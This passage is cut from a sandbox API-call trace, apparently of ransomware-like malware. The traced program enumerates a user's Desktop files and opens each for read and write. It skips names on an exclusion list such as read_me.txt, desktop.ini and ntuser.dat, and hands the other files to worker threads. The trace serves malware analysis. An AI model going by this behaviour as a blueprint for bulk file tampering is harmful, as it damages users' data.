hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.602] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\..") returned 44 [0078.602] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fd5cd40, ftCreationTime.dwHighDateTime=0x1d4ca3b, ftLastAccessTime.dwLowDateTime=0x1a82cc10, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a82cc10, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6b2d_l45Xgik", cAlternateFileName="6B2D_L~1")) returned 1 [0078.602] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik") returned 54 [0078.602] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bc09af0, ftCreationTime.dwHighDateTime=0x1d4cc08, ftLastAccessTime.dwLowDateTime=0x5a8e9d40, ftLastAccessTime.dwHighDateTime=0x1d4cc9b, ftLastWriteTime.dwLowDateTime=0x5a8e9d40, ftLastWriteTime.dwHighDateTime=0x1d4cc9b, nFileSizeHigh=0x0, nFileSizeLow=0x2cc5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7rahvnf-8HbKYYTPWa.xlsx", cAlternateFileName="7RAHVN~1.XLS")) returned 1 [0078.602] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7rahvnf-8HbKYYTPWa.xlsx") returned 65 [0078.602] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7rahvnf-8HbKYYTPWa.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7rahvnf-8hbkyytpwa.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c [0078.602] StrStrW (lpFirst="7rahvnf-8hbkyytpwa.xlsx", lpSrch="read_me.txt") returned 0x0 [0078.602] StrStrW (lpFirst="7rahvnf-8hbkyytpwa.xlsx", lpSrch="autoexec.bat") returned 0x0 [0078.602] StrStrW (lpFirst="7rahvnf-8hbkyytpwa.xlsx", lpSrch="desktop.ini") returned 0x0 [0078.602] StrStrW (lpFirst="7rahvnf-8hbkyytpwa.xlsx", lpSrch="autorun.inf") returned 0x0 [0078.603] StrStrW (lpFirst="7rahvnf-8hbkyytpwa.xlsx", lpSrch="ntuser.dat") returned 0x0 [0078.603] StrStrW (lpFirst="7rahvnf-8hbkyytpwa.xlsx", lpSrch="iconcache.db") returned 0x0 [0078.603] StrStrW (lpFirst="7rahvnf-8hbkyytpwa.xlsx", lpSrch="bootsect.bak") returned 0x0 [0078.603] StrStrW (lpFirst="7rahvnf-8hbkyytpwa.xlsx", lpSrch="boot.ini") returned 0x0 [0078.603] StrStrW (lpFirst="7rahvnf-8hbkyytpwa.xlsx", lpSrch="ntuser.dat.log") returned 0x0 [0078.603] StrStrW (lpFirst="7rahvnf-8hbkyytpwa.xlsx", lpSrch="thumbs.db") returned 0x0 [0078.603] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 9 [0078.603] QueueUserWorkItem (Function=0x404e00, Context=0x76c, Flags=0x0) returned 1 [0078.603] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc9d560, ftCreationTime.dwHighDateTime=0x1d4cc29, ftLastAccessTime.dwLowDateTime=0x45401cd0, ftLastAccessTime.dwHighDateTime=0x1d4d3e8, ftLastWriteTime.dwLowDateTime=0x45401cd0, ftLastWriteTime.dwHighDateTime=0x1d4d3e8, nFileSizeHigh=0x0, nFileSizeLow=0x5455, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7xDEzSaHXEl1.flv", cAlternateFileName="7XDEZS~1.FLV")) returned 1 [0078.603] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7xDEzSaHXEl1.flv") returned 58 [0078.603] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7xDEzSaHXEl1.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7xdezsahxel1.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x770 [0078.603] StrStrW (lpFirst="7xdezsahxel1.flv", lpSrch="read_me.txt") returned 0x0 [0078.603] StrStrW (lpFirst="7xdezsahxel1.flv", lpSrch="autoexec.bat") returned 0x0 [0078.603] StrStrW (lpFirst="7xdezsahxel1.flv", lpSrch="desktop.ini") returned 0x0 [0078.603] StrStrW (lpFirst="7xdezsahxel1.flv", lpSrch="autorun.inf") returned 0x0 [0078.603] StrStrW (lpFirst="7xdezsahxel1.flv", lpSrch="ntuser.dat") returned 0x0 [0078.603] StrStrW (lpFirst="7xdezsahxel1.flv", lpSrch="iconcache.db") returned 0x0 [0078.603] StrStrW (lpFirst="7xdezsahxel1.flv", lpSrch="bootsect.bak") returned 0x0 [0078.604] StrStrW (lpFirst="7xdezsahxel1.flv", lpSrch="boot.ini") returned 0x0 [0078.604] StrStrW (lpFirst="7xdezsahxel1.flv", lpSrch="ntuser.dat.log") returned 0x0 [0078.604] StrStrW (lpFirst="7xdezsahxel1.flv", lpSrch="thumbs.db") returned 0x0 [0078.604] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 10 [0078.604] QueueUserWorkItem (Function=0x404e00, Context=0x770, Flags=0x0) returned 1 [0078.604] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c9bf120, ftCreationTime.dwHighDateTime=0x1d4d02b, ftLastAccessTime.dwLowDateTime=0xb06a3950, ftLastAccessTime.dwHighDateTime=0x1d4c899, ftLastWriteTime.dwLowDateTime=0xb06a3950, ftLastWriteTime.dwHighDateTime=0x1d4c899, nFileSizeHigh=0x0, nFileSizeLow=0xd084, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D08IlIyt8xaqUv.m4a", cAlternateFileName="D08ILI~1.M4A")) returned 1 [0078.604] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D08IlIyt8xaqUv.m4a") returned 60 [0078.604] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D08IlIyt8xaqUv.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d08iliyt8xaquv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x774 [0078.604] StrStrW (lpFirst="d08iliyt8xaquv.m4a", lpSrch="read_me.txt") returned 0x0 [0078.604] StrStrW (lpFirst="d08iliyt8xaquv.m4a", lpSrch="autoexec.bat") returned 0x0 [0078.604] StrStrW (lpFirst="d08iliyt8xaquv.m4a", lpSrch="desktop.ini") returned 0x0 [0078.604] StrStrW (lpFirst="d08iliyt8xaquv.m4a", lpSrch="autorun.inf") returned 0x0 [0078.604] StrStrW (lpFirst="d08iliyt8xaquv.m4a", lpSrch="ntuser.dat") returned 0x0 [0078.604] StrStrW (lpFirst="d08iliyt8xaquv.m4a", lpSrch="iconcache.db") returned 0x0 [0078.604] StrStrW (lpFirst="d08iliyt8xaquv.m4a", lpSrch="bootsect.bak") returned 0x0 [0078.604] StrStrW (lpFirst="d08iliyt8xaquv.m4a", lpSrch="boot.ini") returned 0x0 [0078.604] StrStrW (lpFirst="d08iliyt8xaquv.m4a", lpSrch="ntuser.dat.log") returned 0x0 [0078.604] StrStrW (lpFirst="d08iliyt8xaquv.m4a", lpSrch="thumbs.db") returned 0x0 [0078.604] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 11 [0078.605] QueueUserWorkItem (Function=0x404e00, Context=0x774, Flags=0x0) returned 1 [0078.605] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773fcde0, ftCreationTime.dwHighDateTime=0x1d4d26f, ftLastAccessTime.dwLowDateTime=0x6910090, ftLastAccessTime.dwHighDateTime=0x1d4cf4b, ftLastWriteTime.dwLowDateTime=0x6910090, ftLastWriteTime.dwHighDateTime=0x1d4cf4b, nFileSizeHigh=0x0, nFileSizeLow=0x1636, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dAi9bizsAAm.png", cAlternateFileName="DAI9BI~1.PNG")) returned 1 [0078.605] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dAi9bizsAAm.png") returned 57 [0078.605] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dAi9bizsAAm.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dai9bizsaam.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x778 [0078.605] StrStrW (lpFirst="dai9bizsaam.png", lpSrch="read_me.txt") returned 0x0 [0078.605] StrStrW (lpFirst="dai9bizsaam.png", lpSrch="autoexec.bat") returned 0x0 [0078.605] StrStrW (lpFirst="dai9bizsaam.png", lpSrch="desktop.ini") returned 0x0 [0078.605] StrStrW (lpFirst="dai9bizsaam.png", lpSrch="autorun.inf") returned 0x0 [0078.605] StrStrW (lpFirst="dai9bizsaam.png", lpSrch="ntuser.dat") returned 0x0 [0078.605] StrStrW (lpFirst="dai9bizsaam.png", lpSrch="iconcache.db") returned 0x0 [0078.605] StrStrW (lpFirst="dai9bizsaam.png", lpSrch="bootsect.bak") returned 0x0 [0078.605] StrStrW (lpFirst="dai9bizsaam.png", lpSrch="boot.ini") returned 0x0 [0078.605] StrStrW (lpFirst="dai9bizsaam.png", lpSrch="ntuser.dat.log") returned 0x0 [0078.605] StrStrW (lpFirst="dai9bizsaam.png", lpSrch="thumbs.db") returned 0x0 [0078.605] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 12 [0078.605] QueueUserWorkItem (Function=0x404e00, Context=0x778, Flags=0x0) returned 1 [0078.605] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.605] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned 53 [0078.605] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c4 [0078.606] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0078.606] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0078.606] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0078.606] CloseHandle (hObject=0x7c4) returned 1 [0078.606] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe05c5960, ftCreationTime.dwHighDateTime=0x1d4ce6e, ftLastAccessTime.dwLowDateTime=0xcaca5860, ftLastAccessTime.dwHighDateTime=0x1d4d32b, ftLastWriteTime.dwLowDateTime=0xcaca5860, ftLastWriteTime.dwHighDateTime=0x1d4d32b, nFileSizeHigh=0x0, nFileSizeLow=0x110fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DlzL_Vv.png", cAlternateFileName="")) returned 1 [0078.606] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DlzL_Vv.png") returned 53 [0078.606] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DlzL_Vv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dlzl_vv.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c4 [0078.606] StrStrW (lpFirst="dlzl_vv.png", lpSrch="read_me.txt") returned 0x0 [0078.606] StrStrW (lpFirst="dlzl_vv.png", lpSrch="autoexec.bat") returned 0x0 [0078.606] StrStrW (lpFirst="dlzl_vv.png", lpSrch="desktop.ini") returned 0x0 [0078.606] StrStrW (lpFirst="dlzl_vv.png", lpSrch="autorun.inf") returned 0x0 [0078.606] StrStrW (lpFirst="dlzl_vv.png", lpSrch="ntuser.dat") returned 0x0 [0078.606] StrStrW (lpFirst="dlzl_vv.png", lpSrch="iconcache.db") returned 0x0 [0078.606] StrStrW (lpFirst="dlzl_vv.png", lpSrch="bootsect.bak") returned 0x0 [0078.606] StrStrW (lpFirst="dlzl_vv.png", lpSrch="boot.ini") returned 0x0 [0078.606] StrStrW (lpFirst="dlzl_vv.png", lpSrch="ntuser.dat.log") returned 0x0 [0078.606] StrStrW (lpFirst="dlzl_vv.png", lpSrch="thumbs.db") returned 0x0 [0078.606] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 13 [0078.606] QueueUserWorkItem (Function=0x404e00, Context=0x7c4, Flags=0x0) returned 1 [0078.607] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14bc2b50, ftCreationTime.dwHighDateTime=0x1d4c9a5, ftLastAccessTime.dwLowDateTime=0xd23d6b10, ftLastAccessTime.dwHighDateTime=0x1d4ce6b, ftLastWriteTime.dwLowDateTime=0xd23d6b10, ftLastWriteTime.dwHighDateTime=0x1d4ce6b, nFileSizeHigh=0x0, nFileSizeLow=0xc0da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GaUqyqeU_-Fv.mp3", cAlternateFileName="GAUQYQ~1.MP3")) returned 1 [0078.607] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GaUqyqeU_-Fv.mp3") returned 58 [0078.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GaUqyqeU_-Fv.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gauqyqeu_-fv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x784 [0078.607] StrStrW (lpFirst="gauqyqeu_-fv.mp3", lpSrch="read_me.txt") returned 0x0 [0078.607] StrStrW (lpFirst="gauqyqeu_-fv.mp3", lpSrch="autoexec.bat") returned 0x0 [0078.607] StrStrW (lpFirst="gauqyqeu_-fv.mp3", lpSrch="desktop.ini") returned 0x0 [0078.607] StrStrW (lpFirst="gauqyqeu_-fv.mp3", lpSrch="autorun.inf") returned 0x0 [0078.607] StrStrW (lpFirst="gauqyqeu_-fv.mp3", lpSrch="ntuser.dat") returned 0x0 [0078.607] StrStrW (lpFirst="gauqyqeu_-fv.mp3", lpSrch="iconcache.db") returned 0x0 [0078.607] StrStrW (lpFirst="gauqyqeu_-fv.mp3", lpSrch="bootsect.bak") returned 0x0 [0078.607] StrStrW (lpFirst="gauqyqeu_-fv.mp3", lpSrch="boot.ini") returned 0x0 [0078.607] StrStrW (lpFirst="gauqyqeu_-fv.mp3", lpSrch="ntuser.dat.log") returned 0x0 [0078.607] StrStrW (lpFirst="gauqyqeu_-fv.mp3", lpSrch="thumbs.db") returned 0x0 [0078.607] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 14 [0078.607] QueueUserWorkItem (Function=0x404e00, Context=0x784, Flags=0x0) returned 1 [0078.607] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8031300, ftCreationTime.dwHighDateTime=0x1d4d298, ftLastAccessTime.dwLowDateTime=0x99cf5bc0, ftLastAccessTime.dwHighDateTime=0x1d4d2a4, ftLastWriteTime.dwLowDateTime=0x99cf5bc0, ftLastWriteTime.dwHighDateTime=0x1d4d2a4, nFileSizeHigh=0x0, nFileSizeLow=0xe9cd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GTPM1JaN1o0n-HKEyloG.wav", cAlternateFileName="GTPM1J~1.WAV")) returned 1 [0078.607] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GTPM1JaN1o0n-HKEyloG.wav") returned 66 [0078.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GTPM1JaN1o0n-HKEyloG.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gtpm1jan1o0n-hkeylog.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788 [0078.608] StrStrW (lpFirst="gtpm1jan1o0n-hkeylog.wav", lpSrch="read_me.txt") returned 0x0 [0078.608] StrStrW (lpFirst="gtpm1jan1o0n-hkeylog.wav", lpSrch="autoexec.bat") returned 0x0 [0078.608] StrStrW (lpFirst="gtpm1jan1o0n-hkeylog.wav", lpSrch="desktop.ini") returned 0x0 [0078.608] StrStrW (lpFirst="gtpm1jan1o0n-hkeylog.wav", lpSrch="autorun.inf") returned 0x0 [0078.608] StrStrW (lpFirst="gtpm1jan1o0n-hkeylog.wav", lpSrch="ntuser.dat") returned 0x0 [0078.608] StrStrW (lpFirst="gtpm1jan1o0n-hkeylog.wav", lpSrch="iconcache.db") returned 0x0 [0078.608] StrStrW (lpFirst="gtpm1jan1o0n-hkeylog.wav", lpSrch="bootsect.bak") returned 0x0 [0078.608] StrStrW (lpFirst="gtpm1jan1o0n-hkeylog.wav", lpSrch="boot.ini") returned 0x0 [0078.608] StrStrW (lpFirst="gtpm1jan1o0n-hkeylog.wav", lpSrch="ntuser.dat.log") returned 0x0 [0078.608] StrStrW (lpFirst="gtpm1jan1o0n-hkeylog.wav", lpSrch="thumbs.db") returned 0x0 [0078.608] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 15 [0078.608] QueueUserWorkItem (Function=0x404e00, Context=0x788, Flags=0x0) returned 1 [0078.608] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5dce0, ftCreationTime.dwHighDateTime=0x1d4cece, ftLastAccessTime.dwLowDateTime=0x2e7beb30, ftLastAccessTime.dwHighDateTime=0x1d4ce22, ftLastWriteTime.dwLowDateTime=0x2e7beb30, ftLastWriteTime.dwHighDateTime=0x1d4ce22, nFileSizeHigh=0x0, nFileSizeLow=0xbe3d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="h3Q q_2em5Dz.jpg", cAlternateFileName="H3QQ_2~1.JPG")) returned 1 [0078.608] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h3Q q_2em5Dz.jpg") returned 58 [0078.608] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h3Q q_2em5Dz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h3q q_2em5dz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c [0078.608] StrStrW (lpFirst="h3q q_2em5dz.jpg", lpSrch="read_me.txt") returned 0x0 [0078.608] StrStrW (lpFirst="h3q q_2em5dz.jpg", lpSrch="autoexec.bat") returned 0x0 [0078.608] StrStrW (lpFirst="h3q q_2em5dz.jpg", lpSrch="desktop.ini") returned 0x0 [0078.608] StrStrW (lpFirst="h3q q_2em5dz.jpg", lpSrch="autorun.inf") returned 0x0 [0078.609] StrStrW (lpFirst="h3q q_2em5dz.jpg", lpSrch="ntuser.dat") returned 0x0 [0078.609] StrStrW (lpFirst="h3q q_2em5dz.jpg", lpSrch="iconcache.db") returned 0x0 [0078.609] StrStrW (lpFirst="h3q q_2em5dz.jpg", lpSrch="bootsect.bak") returned 0x0 [0078.609] StrStrW (lpFirst="h3q q_2em5dz.jpg", lpSrch="boot.ini") returned 0x0 [0078.609] StrStrW (lpFirst="h3q q_2em5dz.jpg", lpSrch="ntuser.dat.log") returned 0x0 [0078.609] StrStrW (lpFirst="h3q q_2em5dz.jpg", lpSrch="thumbs.db") returned 0x0 [0078.609] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 16 [0078.609] QueueUserWorkItem (Function=0x404e00, Context=0x77c, Flags=0x0) returned 1 [0078.609] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89eaea70, ftCreationTime.dwHighDateTime=0x1d4cc24, ftLastAccessTime.dwLowDateTime=0x3f2ade0, ftLastAccessTime.dwHighDateTime=0x1d4ce6d, ftLastWriteTime.dwLowDateTime=0x3f2ade0, ftLastWriteTime.dwHighDateTime=0x1d4ce6d, nFileSizeHigh=0x0, nFileSizeLow=0xf0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I5TKi8Vul-lZk.rtf", cAlternateFileName="I5TKI8~1.RTF")) returned 1 [0078.609] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I5TKi8Vul-lZk.rtf") returned 59 [0078.609] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I5TKi8Vul-lZk.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i5tki8vul-lzk.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8 [0078.609] StrStrW (lpFirst="i5tki8vul-lzk.rtf", lpSrch="read_me.txt") returned 0x0 [0078.609] StrStrW (lpFirst="i5tki8vul-lzk.rtf", lpSrch="autoexec.bat") returned 0x0 [0078.609] StrStrW (lpFirst="i5tki8vul-lzk.rtf", lpSrch="desktop.ini") returned 0x0 [0078.609] StrStrW (lpFirst="i5tki8vul-lzk.rtf", lpSrch="autorun.inf") returned 0x0 [0078.609] StrStrW (lpFirst="i5tki8vul-lzk.rtf", lpSrch="ntuser.dat") returned 0x0 [0078.609] StrStrW (lpFirst="i5tki8vul-lzk.rtf", lpSrch="iconcache.db") returned 0x0 [0078.609] StrStrW (lpFirst="i5tki8vul-lzk.rtf", lpSrch="bootsect.bak") returned 0x0 [0078.609] StrStrW (lpFirst="i5tki8vul-lzk.rtf", lpSrch="boot.ini") returned 0x0 [0078.609] StrStrW (lpFirst="i5tki8vul-lzk.rtf", lpSrch="ntuser.dat.log") returned 0x0 [0078.610] StrStrW (lpFirst="i5tki8vul-lzk.rtf", lpSrch="thumbs.db") returned 0x0 [0078.610] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 17 [0078.610] QueueUserWorkItem (Function=0x404e00, Context=0x7c8, Flags=0x0) returned 1 [0078.610] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32bc410, ftCreationTime.dwHighDateTime=0x1d4ce35, ftLastAccessTime.dwLowDateTime=0xdd54ae10, ftLastAccessTime.dwHighDateTime=0x1d4c820, ftLastWriteTime.dwLowDateTime=0xdd54ae10, ftLastWriteTime.dwHighDateTime=0x1d4c820, nFileSizeHigh=0x0, nFileSizeLow=0x18796, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IFNkkkLY cz646fa.avi", cAlternateFileName="IFNKKK~1.AVI")) returned 1 [0078.610] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IFNkkkLY cz646fa.avi") returned 62 [0078.610] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IFNkkkLY cz646fa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ifnkkkly cz646fa.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0078.610] StrStrW (lpFirst="ifnkkkly cz646fa.avi", lpSrch="read_me.txt") returned 0x0 [0078.610] StrStrW (lpFirst="ifnkkkly cz646fa.avi", lpSrch="autoexec.bat") returned 0x0 [0078.610] StrStrW (lpFirst="ifnkkkly cz646fa.avi", lpSrch="desktop.ini") returned 0x0 [0078.610] StrStrW (lpFirst="ifnkkkly cz646fa.avi", lpSrch="autorun.inf") returned 0x0 [0078.610] StrStrW (lpFirst="ifnkkkly cz646fa.avi", lpSrch="ntuser.dat") returned 0x0 [0078.610] StrStrW (lpFirst="ifnkkkly cz646fa.avi", lpSrch="iconcache.db") returned 0x0 [0078.610] StrStrW (lpFirst="ifnkkkly cz646fa.avi", lpSrch="bootsect.bak") returned 0x0 [0078.610] StrStrW (lpFirst="ifnkkkly cz646fa.avi", lpSrch="boot.ini") returned 0x0 [0078.610] StrStrW (lpFirst="ifnkkkly cz646fa.avi", lpSrch="ntuser.dat.log") returned 0x0 [0078.610] StrStrW (lpFirst="ifnkkkly cz646fa.avi", lpSrch="thumbs.db") returned 0x0 [0078.610] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 18 [0078.610] QueueUserWorkItem (Function=0x404e00, Context=0x79c, Flags=0x0) 